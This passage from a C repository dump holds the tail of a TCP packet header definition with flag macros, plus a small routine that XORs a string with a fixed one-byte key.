32 | u_int th_seq; /* sequence number */
33 | u_int th_ack; /* acknowledgement number */
34 | u_char th_offx2; /* data offset, rsvd */
35 | #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
36 | u_char th_flags;
37 | #define TH_FIN 0x01
38 | #define TH_SYN 0x02
39 | #define TH_RST 0x04
40 | #define TH_PUSH 0x08
41 | #define TH_ACK 0x10
42 | #define TH_URG 0x20
43 | #define TH_ECE 0x40
44 | #define TH_CWR 0x80
45 | #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
46 | u_short th_win; /* window */
47 | u_short th_sum; /* checksum */
48 | u_short th_urp; /* urgent pointer */
49 | };
50 |
51 | #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
52 |
53 |
54 | #define SIZE_ETHERNET 14
55 |
--------------------------------------------------------------------------------
/xor.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include "xor.h"
3 |
4 | void x(char *p) {
5 | int i, key=0xFE;
6 | for(i = 0; i < strlen(p); i++)
7 | p[i] ^= key;
8 | }
9 |
--------------------------------------------------------------------------------
/xor.h:
--------------------------------------------------------------------------------
1 | #ifndef XOR_H
2 | #define XOR_H
3 |
4 | void x(char *p);
5 |
6 | #endif
7 |
--------------------------------------------------------------------------------